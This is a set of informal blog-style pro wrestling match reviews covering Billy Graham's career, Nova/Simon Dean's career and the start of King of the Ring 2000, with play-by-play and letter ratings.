Back in and they fight over a top wristlock with Billy taking control again. Bruno fights back again and takes over with an armbar of his own. The challenger fights up and hits a knee to the ribs, sending Bruno down for some more stomping in the process. Graham goes to the throat to keep the advantage but misses a running knee in the corner. Bruno pounds away and Graham is busted open.

Billy comes back with a whip into the corner and it’s off to a bearhug on the champion. Bruno is in trouble all of a sudden but he fights up from his knees on the much taller Graham. Right hands to the head break the hold and there’s a hard whip into the corner by the champion. Now Sammartino hooks a bearhug of his own but Billy gets a rope. They fight in the corner with Bruno in full control. The referee tries to break it up though, allowing Graham to trip Bruno’s legs out from under him and roll Bruno up with his feet on the ropes for the pin and the title.

Rating: C. This wasn’t too bad but more importantly it showed what Graham could do in the ring. He was insanely powerful and had a flashy look as opposed to the bigger than average but still relatively normal look that dominated wrestling in the 70s. This was Bruno’s last match as champion and he went out in a pretty good way.

And now, for a rematch on August 1, 1977.

WWF Title: Bruno Sammartino vs. Billy Graham

Gorilla is the guest referee for this one and good night is he huge. He shoves Graham around for trying to jump Bruno before the bell. He has no issue with Bruno doing the same though. Gorilla is also doing the voiceover thing here and says that more or less anything goes here. For the second time he says he’s 423lbs at this point. He won’t count Graham out because he says he’s not ending a title match with a count out.

Bruno was limited in his offense but at the same time that’s all you have to do. I think this is in Toronto but I’m not sure at all. Graham gets the feet and gets something from under the ring. Ah it’s a rope. Bruno chokes him with it and Gorilla isn’t as adamant about stopping that. According to Gorilla this is in MSG also but there’s no way given how this arena looks.

The idea here is that Bruno just wants the title back and Graham is trying to find a way to escape with it as his power isn’t working this time as Bruno might be stronger and is at least just as strong. Bruno works on the knee and hooks a half crab. We get a clip again as the hold is broken. That kind of sucks the drama out of matches and I’m not a fan of it at all.

Graham throws in a low blow and Gorilla seems to be ok with it. On the commentary he claims it might have been in the thigh. Yeah the hand being up around the hips of Bruno really looks like a thigh shot Monsoon. Graham goes up top and misses a knee and Bruno is all fired up again. Ok never mind as he eats post. Billy goes out and gets the belt which Gorilla steals as well. Shame he didn’t do it before the belt hit Bruno’s cranium.

Bruno is BUSTED WIDE OPEN as I channel my inner Gorilla. Graham hits the floor to leave so Gorilla throws him back in the ring. Well you can’t say he’s not active. He says if you look hard enough in the rule book it’s in there. Graham might be busted too and now he can’t get back in the ring.

Gorilla won’t count which is kind of funny. Bruno is ALL FIRED UP and there’s the bearhug again. And there’s a shot to Gorilla but still no DQ. Now that Gorilla’s shirt is just covered in blood he has no real choice but to stop it. It’s kind of hard to question that and he points out that he didn’t have much of a choice.

Rating: B-. Another brutal fight here with all kinds of blood out there. Feuds back then were based more on what happened in the ring rather than what happened on the mic so it’s a very different kind of style. This was a pretty fun match though as Bruno just beat the living tar out of him and Graham kept trying to cheat no matter what he could do. I liked it though.

Here’s a match against another opponent from December 19, 1977 in MSG.

Billy Graham vs. Mil Mascaras

 

Mascaras is a Mexican legend and one of the biggest stars the country has ever produced. I’ve heard a lot about Mascaras not selling stuff so let’s see if that’s the case or not. Graham is a roided up mess here and likely had to lose the title due to health issues soon after this. The Grand Wizard, Graham’s manager, gets to stay here as he’s promised to be good. I’m not making this up. Fink actually says the words “as long as he behaves.”

And Mascaras sprints off to the back to….uh….apparently he’s getting a burrito? Ah never mind he gets Backlund which is likely to set up the next show. Mascaras goes insane to start us off and just beating the tar out of Graham. They’re going with the basic power vs. speed formula here and there’s nothing wrong with that. Mascaras gets a bow and arrow hold and makes Graham dance like a chicken. You’d have to see it to get it but then again this is a book so that makes no sense. Basically graham is flapping his arms around trying to break the hold but since his arms are behind him he looks like he’s trying to fly.

Graham can’t overpower the guy that’s a lot bigger than I expected him to be. We stay in this hold for a LONG time as Graham isn’t smart enough to break it by using the ropes I guess. And of course just as I type that he’s in them. So far it’s been almost all Mascaras which says a lot given the size difference here.

Graham wins a test of strength but Mascaras just keeps out moving him. We hit a full nelson but that doesn’t work either. Graham can’t get anything to keep working at all here which I think is the point of the match. An abdominal stretch is a big deal at the time but lasts a second or two here. There are a LOT of submission holds here and they’re kind of sucking the life out of it.

Vince is also very different here as he’s not talking a mile a minute. That rarely would be the case later on in his more prominent stuff. Wizard shouts instructions to Graham and gets taken away by the POLICE. WOW they took wrestling more seriously back then. There’s the bearhug which is Graham’s finisher at the time. Just like every other hold he’s used though Mascaras counters into his own version.

Graham reaches for the ropes and looks like he’s a large man at a country fair reaching for the last slab of pie in an eating contest. He finally escapes and goes for the mask in an evil move. I say evil because we’re at two minutes and counting so far of him trying to take the mask off. Ah here we go again. Champion goes to the floor and is rammed into the post, cutting him open. Mascaras goes off on him but the ref stops the match due to the cut. Some things never change I guess. That isn’t enough for a title change though as it’s pin or submission only, which makes sense at least.

Rating: B-. It’s slower paced and kind of a clash of styles but the whole Mascaras counters everything was a decent enough story. Backlund coming out to counter the Wizard was a nice touch as it would foreshadow issues between him and the world champion in the coming months, but we’ll get to that in a bit. Graham here was looking like a modern champion in that he was barely surviving but escapes with the title to fight another day despite being outmatched.

While no longer champion, Graham would continue to be a big deal and face Dusty Rhodes on August 28, 1978 in one of the first gimmick matches in MSG history.

Dusty Rhodes vs. Billy Graham

This is a Texas Bullrope match and it’s pin or not being able to answer an 8 (yes 8) count. Jay Strongbow is referee for some reason. Graham doesn’t want to be tied up so Strongbow grabs him and ties him up anyway. Graham keeps running and Dusty keeps pulling him in. The elbow to the head puts Graham down and he tries to run again. Another elbow stuns Graham but he rakes the eyes to get a break.

Dusty gets choked by the rope but Billy misses an elbow drop. The Dream is busted open and Graham hooks his bearhug. That doesn’t last long for some reason so Billy goes up top. That’s REALLY FREAKING STUPID in a bullrope match as Dusty pulls him down to the mat. Billy is busted too and Dusty pounds away. Apparently this is the rubber match in a series. Graham comes back but Strongbow breaks it up for some reason. Dusty elbows him in the head and that’s enough for the 8 count and the win. That was a really abrupt ending.

Rating: C. This was fun while it lasted but unfortunately that wasn’t too long. There’s something cool about letting two guys beat the stuffing out of each other and that’s what happened here. I still don’t get what Strongbow had to do with this but maybe it was Graham’s next feud. Dusty never did much in the WWF but he did enough elsewhere to make up for it.

We’ll jump to Japan for a match at some point in 1979.

Mighty Inoue vs. Billy Graham

Graham spits at him to start before getting in a shot to the throat. Inoue is sent to the floor and rammed into a chair for some choking. He tries to bring the chair into the ring so Graham throws some more in at him. Things settle down with Inoue working over Billy’s leg in the corner but getting choked by the tag rope. The choking is switched over to a chinlock until Inoue cranks on the leg to escape.

They head outside again for more choking with Graham saying to put this on television. Back in and Inoue hammers away before it turns into another battle of the chokes. A pair of dropkicks give the Mighty one control but Graham avoids a third and drives in an elbow to the back. Graham puts him over his shoulder for the backbreaker and a submission.

Rating: C. Energetic match here but the choking got really annoying. At least they kept things moving so that it wasn’t a boring match but the extended holds are getting to be a bit much to sit through. I’m not all that familiar with Inoue but he wasn’t bad at all. The constant choking took away from the match though.

We’ll jump ahead to November 25, 1982 in Philadelphia.

Chief Jay Strongbow vs. Billy Graham

Graham is now bald and a karate master, having lost a lot of weight and muscle. Jay quickly chops him down and cranks on a wristlock to eat up a good chunk of time. Graham goes to the eyes to escape and we hit the bearhug on the Chief. Jay finally escapes and gets choked with tape but it’s time to go on the warpath. Strongbow cleans house but a shot to the jaw sends him to the floor for a VERY fast countout.

Rating: D. This really didn’t work all that well. Graham as the karate guy never worked but he wasn’t going to do the Superstar stuff anymore as Vince Sr. wouldn’t let him turn face. Strongbow was a guy that was popular with the crowd but really doesn’t hold up in modern times due to how generic his offense was.

That’s enough long matches. Here’s a squash from early 1983.

Barry Hart vs. Billy Graham

Barry would later change his last name to Horowitz. Some right hands to the face have Hart in trouble and a back elbow to the jaw puts him down. Barry fights back with a knee lift but Graham quickly sends him to the floor. Back in and a karate chop to the neck is good for the pin.

Graham would head to the NWA in 1985 and appear at Starrcade 1985. I’ll include the setup to the match as well.

Now we get some good old fashioned ARM WRESTLING between Billy Graham and the Barbarian. Graham finally puts him down but Barbarian’s manager Paul Jones whacks Billy with a cane as soon as it’s over. Apparently it’s time for a match.

Barbarian vs. Billy Graham

Barbarian rips at Graham’s face and chokes away like any good monster villain would do. He even bites Billy’s forehead but doesn’t bust him open here. We get a very early bearhug from Barbarian and he slams Billy down, only to miss his top rope headbutt. Graham stomps away and puts on his own bearhug but Jones comes in and breaks it up for the DQ.

Rating: D. Was there a point to this? It was barely long enough to rate and the majority of the match was spent in those bearhugs. Graham would be back in the WWF sooner than later and Barbarian would continue to be this same character for about twelve more years. Nothing to see here.

Injuries would slow Graham down but he would come back to the WWF as a monster face for a bit. The injuries would put him on the shelf again, but Graham would come back for one final run in the fall of 1987. Here’s his last match from November 14, 1987.

Butch Reed vs. Billy Graham

Reed jumps him to start and stomps away at Graham’s injured hip. A series of chair shots to the hip has Billy in big trouble and Butch goes after the leg even more. Butch goes up but jumps into a fist to the ribs. Graham has to deal with Slick, allowing the One Man Gang to come in for the DQ.

Gang splashes Graham on the floor, which was the way he was written into retirement. Don Muraco made the save.

To say Billy Graham influenced a lot of wrestlers is an understatement. If you listen to him talk you’ll hear lines used by Dusty Rhodes, Scott Steiner and Hulk Hogan among others. He was far more important on the mic and how he looked than in the ring, but to say he was a big deal is nowhere near a strong enough statement. He also held the World Title longer than any heel ever in the company. That’s quite a record to last over thirty years.

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Wrestler of the Day – June 4: Nova

Today is a true innovator of offense: Nova.

Nova debuted under his real name of Mike Bucci in 1992 and had some early jobber spots in the WWF, such as this one from Superstars on November 27, 1993.

Adam Bomb vs. Mike Bucci

There’s a guest ring announcer of about 8 years old who introduces Bucci as weighing 249 libs and says Bomb is managed by Marby Bippleman. Bomb throws him around with ease but avoids an elbow and goes to work on the arm. Adam drops him ribs first across the top rope and the Adam Smasher (powerbomb) ends this quick.

After some time in the indies, Bucci went to ECW as Supernova and would appear on the Hostile City Showdown 1996 card.

Supernova vs. El Puero Ricano

Supernova is a superhero here and quickly hiptosses Ricano over the top rope to the floor. A top rope flip dive puts Ricano down again and a powerbomb out of the corner gets two back inside. Ricano sends him outside for an Asai Moonsault against the barricade but the Eliminators run in for the no contest. Short but very energetic stuff while it lasted.

Things would get a bit more serious in 1998 as Nova had become part of the Blue World Order (Hollywood Nova, Stevie Richards and Blue Meanie), a parody of the NWO. Joey Styles summed the group up perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it.” They would be on the card at Wrestlepalooza 1998.

F.B.I. vs. BWO

Suddenly I want some alphabet soup. It’s Tracy Smothers and Guido vs. Super Nova and Blue Meanie. The BWO itself is actually over and dead but they both wear blue and team together still so there we are. I want to hit Tommy Rich. The guy is just freaking annoying. He gets a huge F YOU chant directed at him so at least Georgia fans are intelligent. Nova and Guido, the two talented guys, start us out.

Nova is a superhero by the way. Meanie is just a fat guy that has nothing else going for him. Nova is well known for having a very unorthodox offense and it’s on display here. Meanie comes in and Rich says we need to have a dance contest. And the referee dances too. THANKFULLY Smothers jumps Meanie to end this mindlessness. And the referee slams both heels to get two on Smothers. What the heck am I watching???

Finally we get something sensible as Smothers hits a nice bicycle kick to Nova’s head. Meanie can’t even get into the ring correctly. This is what critics mean when they say this company was a joke. When you’re that sloppy, you have no business being in a ring on a major show at all. Meanie misses the moonsault, which is just about the only move Meanie could do without injuring someone else. Nova hits a downward spiral for the pin. And the faces do the YMCA afterwards. My head hurts again.

Rating: D+. It wasn’t bad, but for the most part it was an unfunny comedy match. Nova was cool, but other than that there was just noting at all that stood out here for me. Meanie was just a fat man that never did anything of note outside of ECW (Bluedust was nothing of note and yes I know he was in WWF for awhile) and the FBI were always annoying as all goodness to me. It’s not bad but it’s nothing to write home about, or better yet it’s nothing to review. Wait what?

Another six man tag, this time from November to Remember 1998.

Blue World Order vs. Danny Doring/Roadkill

The BWO here are Nova and Meanie, as Richards realized he had that thing that people like called mainstream appeal so he’s in WWF at this point. Roadkill is an Amish guy, called the Angry Amish Chicken Plucker. This could be a really long night. They’re a new team here but they would eventually become kind of a big deal by ECW standards. Doring is about as bland as you could dream of a guy with his name being.

Nova has some unique offense from what I remember so this should be ok. And here’s Funk again with his own cameraman. There’s also a camera following Funk and his cameraman. Styles asks a great question: why are we focusing on Terry Funk when there’s wrestling going on. Funk takes over as timekeeper. Again, I get that he’s a far bigger star, but if you’re going to have these four guys out there, don’t take the focus off of them for Funk.

Yes he’s by far the bigger star and more important than all four combined, but show the guys some respect if you could. We get a lot of heel miscommunication to keep the faces in control as this is becoming a glorified squash. Ok the People’s Legdrop is kind of a cute idea but I’m still not huge on theatrical moves. Not a big deal at all though. And here’s Funk again to interfere and then put himself through a table.

Doring is setting for something but stops to do a strut called the Dastardly Shuffle. I like the name if nothing else. Ok seriously, have the match, or follow Funk. This is annoying. Joey makes me chuckle asking if Roadkill took a horse and buggy to New Orleans from Pennsylvania. That’s rather amusing. He does a Taker rope walk but misses the elbow drop he was trying.

Doring has a lot of long and drawn out names for his moves which is clever for some stupid reason that I don’t get but whatever. He and Nova are working the majority of the match which is intelligent. And now we have one of my biggest annoyances of ECW: claiming Monday Night shows steal all their moves. This is brought up by Nova doing a move called the Sledge-o-Matic. It’s a diving powerbomb where he goes to the side on the landing.

In other words, it’s the same move but with a slight twist that makes zero difference. It’s wrestling guys. People use the same moves quite often. You don’t see a right hand being called a Strangler Lewis Special do you? Now yes, ECW got ripped off more than any other company I can think of, but at times they got ridiculous complaining about it.

I mean really, can you imagine someone complaining about every tiny little thing that goes on at a wrestling show which no one else would have the sheer stupidity to notice since no one else would be such a bored and pathetic human being to think this in depth about such a thing? Can you imagine how pitiful that person really is? DANG they would drive me crazy. What’s the point of picking something apart and blowing the tiniest thing completely out or proportion?

Anyway, this match needs to end as the right lace of Nova’s left boot has a single thread sticking out and it’s driving me crazy. Nova hits a modified tornado DDT that is completely different than the one that Chavo Guerrero had been using around this time, because it was MODIFIED. The BWO wins it with a double team move where Meanie did a wheelbarrow lift into a DDT from Nova called the Blue Light Special.

And here’s Funk again to steal the spotlight, which yes I know that’s fine and the point. I have no problem with it here, but did we need to have him do the stuff during the match? Not that I can see of. Heyman comes out to calm him down. So in other words the ten minute match was all just to set up the Funk angle. Got it. Not that bad of an idea I guess as at least there was a full length match, unlike in WWE where it would have been lucky to go 100 seconds before Funk ran in, so points for that definitely.

Rating: D. It was a long squash and Funk stole the focus at a very annoying rate. I don’t get that but we’re just twenty three minutes into the show so maybe we’ll find out later. This wasn’t a very good match but it got the crowd going, which isn’t really something ECW needs as I always thought they had Red Bull IVs going into them but I get the idea.

After the group split up, Nova would hook up with Chris Chetti as a pretty solid tag team. Nova would be on Cyberslam 1999 in a singles match.

Rod Price vs. Nova

Nova is more famous as Simon Dean. Price is a big muscle guy that looks about 55 years old. Price gets taken down quickly but takes over with basic power. Snap suplex puts Nova down and Price hammers away for awhile. Nova goes to the middle rope and hits a clothesline but can’t get much going overall.

Skull Von Crush (Big Vito), who is Price’s partner, comes out to hammer on Nova a bit as well. Nova’s partner Chris Chetti comes out for the save and it’s a double brawl. Nova hits a baseball slide to Price and then the good guys fire off a pair of dives. The Tidal Wave (splash/top rope legdrop off the same corner) pins Price. Big mess but I like the Tidal Wave so this was fine.

ECW got TV soon after this and Nova would appear on the show on October 22, 1999.

Nova vs. Chris Candido

Gertner makes alcohol jokes about Tammy. They start fast with no one being able to get anything significant in. Candido finally hits him in the face to take over but walks into a backdrop. Flying forearm gets two. Nova is a guy that’s hard to keep up with because he’s not only fast but he does a lot of stuff that no one else did so it’s hard to call the moves. Before anything happens, Doring, Roadkill and Lita run in to beat on Nova for a DQ. This was really short.

Now we’ll get to the team as they had a match on Living Dangerously 2000.

Jado/Gedo vs. Nova/Chris Chetti

I’ve heard incredibly mixed reviews on Jado and Gedo but I think I’ve seen one match of theirs and it was a 6 man. We hear about how great Gedo is and he’s got a decent resume actually with wins over Jericho, Benoit and Malenko. Joey: Nova and Chetti have been together as a team now for a year minus the six months Chetti was out with a back injury. I think that’s grounds for just saying they’ve been together for awhile.

They tag with other people though but it’s all good. The Japanese guys like to mock opponents apparently. Joey can you freaking say who is who? I think Gedo is in the ring but I’m not sure. This show has been such a train wreck I’m not sure. Ah never mind that’s Jado. Gedo has a shirt on. Got it. Nova gets a NICE superkick to the throat of Jado. That looked great and sounded great too.

Chetti tries one and does very well too. His only missed by six inches or so. Cyrus doesn’t know the referee’s name which means nothing at all but I need to fill in some space here. The Tidal Wave hits Gedo to end it. It’s a combination splash and leg drop but both guys jump from the same rope. It looked pretty freaking cool.

Rating: D+. This was just a mess. It wasn’t bad or anything, but it was just a total mess. I know I said that already but it’s the only way to put it. Why are the Japanese guys here? Why did Nova and Chetti pick this time to run down? How was a contract agreed to and sanctioned so fast? Yes I know I’m nitpicking but dang man. That’s two in a row with nothing but random match to explain it. That’s not good.

Another tag match from Heat Wave 2000.

Da Baldies vs. Nova/Chris Chetti

And remember, even though Nova and Chetti are the best tag team in ECW, they can’t have the tag belts because we’re not going to have tag champions for about four months. DeVito “hits” a “dropkick” on Nova as we’re actually having something close to a tag match here. Wow Chetti is sloppy. His punches more or less hit their arms. It’s his birthday though so I can’t complain that much. Well I could but whatever.

Nova misses a Swanton and Cyrus says Chetti has educated feet. I wonder who stole that from whom. Nova hits a very nice double piledriver into a helicopter bomb (think the Three Amigos but with piledrivers and a spinning powerbomb to end it). Since that’s a totally awesome move, it doesn’t end the match. The Tidal Wave ends it as I shake my head over these two never winning the tag titles.

Rating: D+. This was a glorified squash as the high flying guys were never in anything close to danger here. These guys are kind of like the MCMG in TNA at the moment but not as tandem based. Still though this was good for them as the Baldies remain completely useless yet employed.

The team would split soon after without having a title reign because ECW didn’t make a ton of sense around this time. Nova would wrestle on the last ECW on TNN show, from October 6, 2000.

Bilvis Wesley vs. Nova

Yeah see what I’m having to deal with for you guys here? Nova and Chetti, the best team in ECW for their last 15 months or so have split up with Nova as the face I think. Commercial #3 and we haven’t had a match yet. There are about 5 empty seats in the front row. Nova is dressed like the Flash here which is one of the few costumes he stuck with.

This should be a squash but it likely won’t be. He’s a bad Elvis impersonator. I mean he makes Honky look good. Joey asks Joel what his strategy is for his match with Cyrus which was five days earlier but whatever. This is just a way for Gertner to make Elvis jokes which are getting over. Nova hits a Swanton for two as this has been going for a good while now but the commentary is more interesting.

SICK enziguri by Nova and Bilvis is almost out. Nova Cain hits and the valet and the wrestler that hangs out with Bilvis break up the pin. Nova is just toying with them here for the most part. School boy gets two. Kryptonite Krunch (modified Emerald Flosion) ends it. Mostly a squash.

Rating: D+. Nothing much here but it’s the last original match on this show as other than this it’s nothing but repeated matches from the PPV. This was nothing of note but Nova is always fun to watch with all of his insane offense. This wasn’t much at all though and it’s a shame that this is what the company had become.

Nova and Chetti would meet in a Loser Leaves ECW match at November to Remember 2000.

Chris Chetti vs. Nova

They were the best team forever in ECW and this is loser leaves ECW. Yeah because we need to split them up before they get too good. Dangerously, as in Lou, Chetti’s manager, runs down Chicago for some basic heat to start. Nova is Spiderman here which is better than the Flash I suppose. Nova busts out a Crossface Chicken Wing of all things. Chetti has a bad back and it gets hurt here.

Lou comes in and Chetti was faking it. What a brilliant man. The crowd is a bit dead here which is saying a lot at an ECW show. Nova is bleeding and Chetti is as well to an extent. The problem with these kinds of matches and this one in particular is that you have to have a team built up high enough to have a match like this mean something. These guys were good but only for a few months and they never won anything. That’s why this isn’t incredibly interesting.

Chetti steals Nova’s move so Nova steals Chetti’s move. Nova just goes insane with punches in the corner, beating the heck out of Chetti. And it’s chair time since this is an ECW match. The fans finally wake up a bit for this due to Nova’s insanity. I don’t think anyone ever actually liked Chris Chetti which is the biggest problem here. Nova hits a double arm DDT but Lou makes the save.

He gets nailed to a nice pop. The crowd is trying so hard to care about this match but it’s just not happening. Why were these guys never tag champions? Nova goes insane and tries rolling piledrivers. He gets two of them but Lou pops him with the phone. Nova kicking out gets a solid pop as well. Kryptonite Krunch from the middle rope ends it and Nova can stay for the remaining two months!

Rating: C-. The fans wanted to like it but this just missed so many times that it never got together. No one liking Chetti hurt it a lot like I said. Nova could have been something special but he was in midcard/tag purgatory forever. This wasn’t anything special though and it never went anywhere. Of course it’s the longest match of the night so far.

After ECW went out of business, Nova would hit the indies for a bit, including WWA Revolution in 2002.

Nova vs. AJ Styles vs. Tony Mamaluke vs. Christopher Daniels vs. Shark Boy vs. Low Ki

Elimination rules here and no one gets an entrance. It’s probably a good thing that they have to tag here. Styles vs. Mamaluke to start and they trade arm control. The camera keeps changing angles and it’s getting annoying. Mamaluke is bleeding from the nose as he hits a German to send AJ down onto his shoulder. Shark Boy comes in to fight Tony and gets clotheslined down.

Nova is standing on the floor, drinking water. Shark Boy hits an atomic drop and bites the place where his knee went. Off to Low Ki who gets atomic dropped as well, but comes back with a kick to Shark Boy’s head before he gets bitten. Daniels vs. Low Ki now and you know the strikes are coming here. A Capo Kick staggers Daniels and Nova gets tagged so hard that he spills his drink.

Apparently Nova is a businessman now. I’ve never seen a businessman in workout pants and no shirt but whatever. He works on Daniels’ arm a bit before it’s back to Low Ki. A double gordbuster puts Daniels down and it’s off to Mamaluke. There are the kicks from Low Ki and a double suplex by Ki and Sharky, but there was no tag so Shark Boy’s cover gets no count.

Things start to break down a bit as Sharky Boy and Mamaluke go to the floor for some dives. They wind up in the crowd (which is carpeted) as AJ pounds on Nova in the ring. Nova hooks a modified Crossface which goes nowhere because they’re not legal. Shark Boy hits a top rope rana on Mamaluke for two, even though the referee’s hand hit the mat three times. Low Ki comes in and hits a cartwheel kick on the distracted Shark Boy for the first elimination.

Off to AJ vs. Low Ki as the camera angles start to show a few details about the “arena”. There’s no ramp that I can see, and all of the seats are opposite the screen. I believe they’re in a theater, which is a really weird visual and atmosphere. Low Ki hits a HARD kick to the head (I’m shocked) but AJ comes back with forearms to the head. Both guys hit cross bodies so it’s off to Mamaluke vs. Daniels.

An STO kills Mamaluke who is a bloody mess. Daniels loads up the BME (I think) but Styles breaks it up for no apparent reason. AJ gets knocked down (I think. The camera direction here is a nightmare) so Mamaluke hits a belly to back off the top for two. Daniels hits the Angel’s Wings for no cover, instead tagging in Styles for the Clash to get us down to four people.

Nova comes in with a backbreaker on Styles for two before it’s back to Daniels vs. Styles. Even before TNA existed this was happening a lot. Styles tags in Low Ki who strikes away even harder on Daniels. Low Ki charges into a spinning electric chair of all things and a top rope elbow from Nova gets two on the kicking dude. Nova goes up and gets crotched, but as Low Ki goes up, he gets elbowed down into the Tree of Woe. Low Ki sits up and pulls Nova down into a rear naked choke while they’re both upside down.

Daniels comes in and is immediately thrown out, followed by everyone going to the floor. Daniels dives onto Low Ki so Styles hits a Shooting Star Press to the floor. This camera work is REALLY annoying as it either keeps cutting away or it has awkward shots of everything. Back in the ring, Low Ki loads up a rana on Nova, but Daniels runs the corner and hits a top rope Rock Bottom on Low Ki for the elimination.

Nova dropkicks Daniels to the floor so it’s Styles vs. Nova legally I guess. AJ is busted too. Everyone is in now and Daniels kicks Nova down and AJ gets two off a neckbreaker to Christopher. Daniels takes AJ down and hits the BME for two. There’s a dragon sleeper to AJ but Nova hooks a standing Last Chancery on Daniels at the same time. Nova grabs Daniels from behind but Styles sunset flips Nova, sending Daniels flying in the suplex.

AJ shoves Nova off the top and counters Daniels’ rana into a middle rope Styles Clash to get us down to one on one. A pair of rollups get two for Nova, as does a Downward Spiral. AJ gets two of his own off a German and Tessmacher’s current finisher (Tesshocker if you’re a big wrestling geek like me). They both go up with Nova hitting a C4 off the top (flipping Downward Spiral) for the final pin. Not much build to that.

Rating: B. Take six young and small guys, throw them in one match, let them have fun. AJ and Low Ki looked like the stars here, which they would be for all intents and purposes. Nova was already a name, Mamaluke never went anywhere, Shark Boy would become a cult favorite, and Daniels would become a decent sized star of his own right. Still though, fun match and AJ looked good in it, which shouldn’t shock anyone.

Nova would be brought into OVW in early 2002 and become quite a big star, including this match against a guy who you might have heard of. I’ll throw in the pre match promo before their match on May 15, 2002.

Nova is in the ring with Jim Cornette and sounds like he’s making his debut. He talks about wanting to get into the ring with the Prototype but says he’s done it a few times already in California. Nova says he’s beaten Prototype three times already in California, but now they’re both two years better. This brings out Prototype to say he’s tired about hearing everyone talk about the next big thing in WWE, Brock Lesnar. Now this Nova guy is the next big thing. Nova wants a fight right now and we get a bell for a title match.

OVW Title: Nova vs. Prototype

Nova hammers away to start and takes Prototype down into a front facelock. A sunset flip gets two on the champion and Nova hammers away with right hands and a hurricanrana. The fans think this is boring for some reason. Prototype comes back with a slam followed by a spinebuster but misses a top rope splash. Nova accidentally bumps the referee and Prototype’s manager Kenny Bolin throws in the briefcase for a hard shot to Nova’s back. It’s only good for two via a new referee and we take a break.

Back with Prototype nailing a hard clothesline and stomping away in the corner. Another hard clothesline gets two and a vertical suplex gets the same. A big side slam gets yet another two count but an atomic drop sends Nova bouncing off the ropes and the second referee gets bumped. Nova nails Kenny Bolin and the first referee comes back in.

A hard shoulder to the ribs has Prototype in trouble and a big kick gets two. Nova plants him with an STO and gets two more off a top rope elbow. Prototype kicks out of a rollup and a Nova crossbody puts the referee down AGAIN. Sean O’Haire runs in to jump Nova but he rams both heels into each other. The Kryptonite Krunch (White Noise) is enough for the pin and the title.

Rating: C+. It was a bit overbooked but it still worked well enough for the most part. It makes Nova look like a star and that’s all you need to do with something like this. Prototype would be gone from the promotion soon after this as he debuted on Smackdown under his real name: John Cena.

Nova would be a big force in OVW for over two more years before FINALLY debuting in WWE under a totally new gimmick: Simon Dean, a fitness expert. You know, because why bother using the character that worked all those years when you can turn him into an over the top comedy character? Dean would have a match on Raw, December 6, 2004.

Hurricane vs. Simon Dean

Simon is Nova from ECW and had a gimmick where he was a sponsor of Raw and pitched a weight loss system. Just take a guess as to how well this goes. This is his debut match. Simon wants to have an amateur style match so Hurricane rolls him up for two. Simon takes over with nothing significant. This is really the best match they can give us on Monday Night Raw? The King makes fun of TMNT and I hate him already. Hurricane breaks a chinlock and hits some fast paced stuff. The Shining Wizard misses and Dean rolls him up for the pin with tights.

Rating: F. This is the best they can do for Monday Night Raw? Seriously? Yeah that’s all I’ve got here.

In 2005, WWE held an ECW reunion show called One Night Stand. At the end of it, a big brawl broke out and JBL beat the living tar out of Blue Meanie in a shoot. Instead of firing JBL, this was the payoff, from Great American Bash 2005.

Mexicools vs. BWO

Oh where do I begin. Ok so the Mexicools are Juvy, Psicosis and Super Crazy as really stereotypocal Mexicans (ride lawnmowers, carry rakes etc). The BWO is here because at One Night Stand, JBL legitimately beat up Blue Meanie. WWE gave Meanie a job for like two months so he didn’t sue them. This is their only match of note. The BWO comes out on big wheels for absolutely no apparent reason. American Chopper joke maybe?

Juvy vs. Nova starts us off. Things break down and the BWO takes over. Psicosis finally hits a corkscrew plancha to take over on Nova. Back to Juvy as Nova gets beaten down. He Hulks Up (NWO parody remember…..in 2005) and Cole messes up the BWO’s names. Hot tag brings in Richards who cleans house. Side slam gets two on Psicosis. Everything breaks down and Crazy hits a moonsault onto Richards followed by a guillotine legdrop by Psicosis for the pin.

Rating: F. This was on PPV. Once you get that through your heads, you’ll get why this was a failure.

We’ll wrap it up with one more trip to OVW, from May 31, 2006.

Simon Dean vs. Shawn Spears

Dean easily throws him down to start before tripping him to the mat. Back up and Spears cranks on a hammerlock but walks into a big right hand. Not that it matters as a small package out of nowhere gives Spears the quick pin.

Dean loses his mind, breaks a lot of stuff, and hits security with chairs after the match.

Nova is a guy that worked well when he was allowed to be himself but companies kept feeling the need to make him into some over the top character. The Simon Dean issue is the same thing that keeps hurting NXT talent being called up today: why does WWE see them get over down there as one character then switch everything up and blame them for not getting the new character over? Anyway, Nova is a talented guy but bad gimmicks killed him.

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King of the Ring 2000: Not Even 2000 Was Perfect

King of the Ring 2000
Date: June 25, 2000
Location: Fleet Center, Boston, Massachusetts
Attendance: 17,651
Commentators: Jim Ross, Jerry Lawler

Thirty two people. That’s how many are in this year’s tournament. They’ve widdled it down to eight for this, but DANG man, 32 initially in it? Anyway, the Radicals being here is probably the biggest change to things. Angle and Jericho are here as well, so the roster has certainly changed a lot. WCW is just waiting to be put out of its misery as no one is watching and fewer people care.

This is a decent bad looking card though as there’s the tournament, a four team elimination match and the main event is a six man tag where the belt is on the line. HHH won it the previous month at Judgment Day where Taker returned as the biker. There’s not a lot going on here other than that, so let’s get to it.

We get a quick recap of the tournament history which is always a cool thing. Other than that we have a thing on the title with HHH saying the belt is the most important thing in his life. I think that would actually be Stephanie who wouldn’t have the title without him. Ok that’s nonsense but I have to say it at least once a year by law. Here are your brackets:

Kurt Angle
Chris Jericho

Crash Holly
Bull Buchanan

Rikishi
Chris Benoit

Val Venis
Eddie Guerrero

That doesn’t sound half bad.

KOTR Quarterfinals: Rikishi vs. Chris Benoit

Rikishi just won the IC Title from Benoit as his completely unexplainable push continues before he was made top heel in the fall which failed worse than a flimsy bra on Trish Stratus. Benoit beat him up after the match so he might be a bit hurt. The Canadian beat Road Dogg and X-Pac while Dusty Rhodes’ partner in the fat that ate Cleveland beat Shane McMahon and Scotty Too Hotty. Benoit manages to suplex Rikishi which is rather impressive.

There’s a Chris Benoit sign that says this isn’t a Chris Benoit sign. I hate stupid fans. The Crossface is hooked but the fat man thinks the ropes are Twizzlers and grabs them, hoping to eat them. And then Benoit gets a chair and beats on Rikishi with it, ending this very quickly thank goodness. Another Crossface follows and referees break it up. Benoit goes up and splits them all up with a headbutt and puts the hold on Rikishi again, much to my delight.

Rating: C+. In a match that goes three minutes or so and most of it is Rikishi being hurt, I’m certainly happy. There wasn’t much here but it got through some time I guess. The whole thing here though is that the fat man got hurt so I’m happy.

Linda says she’s going to have to do something drastic.

The heels say that they should be worried about Linda but Vince isn’t worried at all.

We get a replay of Rikishi being beaten. I love this.

Benoit says he’s the best and no one can stop him.

KOTR Quarterfinals: Val Venis vs. Eddie Guerrero

